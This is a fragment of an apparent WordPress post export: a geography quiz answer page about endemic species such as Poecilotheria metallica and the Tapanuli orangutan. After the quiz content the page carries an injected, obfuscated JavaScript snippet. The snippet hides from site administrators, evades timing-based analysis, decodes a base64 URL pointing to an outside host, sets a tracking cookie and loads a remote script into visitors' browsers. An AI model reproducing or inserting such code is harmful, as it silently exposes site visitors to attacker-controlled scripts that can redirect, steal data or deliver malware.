wp-elements-228\">\n<li>Scientific name: Poecilotheria metallica<\/li>\n\n\n\n<li>Endemic to a tiny forested region in Gooty, Andhra Pradesh.<\/li>\n\n\n\n<li>Correct match: C. Andhra Pradesh forest regions<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-229\"><strong>\u00a04. Tapanuli Orangutan<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-230\">\n<li>Scientific name: <em>Pongo <\/em>tapanuliensis<\/li>\n\n\n\n<li>Discovered in 2017 in Batang Toru forest, Sumatra, Indonesia.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-231 wp-block-paragraph\">Correct match: D. Sumatra, Indonesia<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following countries: 1. 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